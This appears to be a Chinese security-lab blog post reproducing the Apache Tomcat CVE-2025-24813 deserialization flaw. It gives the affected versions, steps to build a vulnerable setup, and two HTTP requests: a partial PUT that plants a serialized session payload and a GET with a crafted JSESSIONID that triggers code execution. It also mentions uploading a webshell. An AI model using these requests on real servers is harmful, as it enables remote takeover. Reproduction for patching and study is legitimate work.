【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)

【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)

小翠网络安全实验室 2025-03-16 21:06

漏洞影响范围

9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34 
11.0.0-M1 <= tomcat <= 11.0.2

漏洞环境下载

//apache环境 
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98-windows-x64.zip 
//反序列化库 
https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar

环境配置

1、apache环境需要借助java,安装java后,环境变量中添加系统变量

JAVA_HOME 
C:\Program Files\Java\jdk-11 
JRE_HOME
C:\Program Files\Java\jre1.8.0_241

2.修改
context.xml、web.xml文件

0

来到根目录下,进入conf,先修改context.xml文件,在Context标签内新增配置:

(这微信页面直接复制代码格式会乱,可以浏览器打开复制)

<Manager className="org.apache.catalina.session.PersistentManager">        
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

再修改web.xml文件,添加内容如下:

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

0

将Commons Collections 3.2.1.jar放入webapps/ROOT/WEB-INF/lib文件夹(没有lib目录就创建)。

0

win环境遇到乱码可以修改conf目录下的logging.properties,将其java.util.logging.ConsoleHandler.encoding的值改为GBK

0

修改server.xml修改默认端口号

0

运行apache-tomcat-9.0.98\bin的
startup.bat文件,环境启动成功

漏洞复现

1.使用Yakit的【反连】功能,【Yso-Java Hack】快速生成一个利用payload:

0

2.POC1

请求出现409表示利用成功

Content-Length: 1000和Content-Range: bytes 0-1000要保持一致

PUT /xxxxx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(反序列化文件内容)}}

0

apache-tomcat-9.0.98\work\Catalina\localhost\ROOT会生成临时文件,其中【xxxxx】是自定义名字,可以任意修改

0

3.利用POC2:

GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.xxxxx

请求上传的文件名,响应500,然后弹出计算器,复现成功(响应200的情况下,需要重新请求)

0

补充:写入目录apache-tomcat-9.0.98\webapps\ROOT可以上传webshell,此操作仅供学习使用,建议中午操作,因为早晚要进去喝茶。

apache-tomcat-9.0.98\webapps\ROOT

0

修复方案

Apache基金会官方已发布漏洞公告,可下载补丁更新:
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq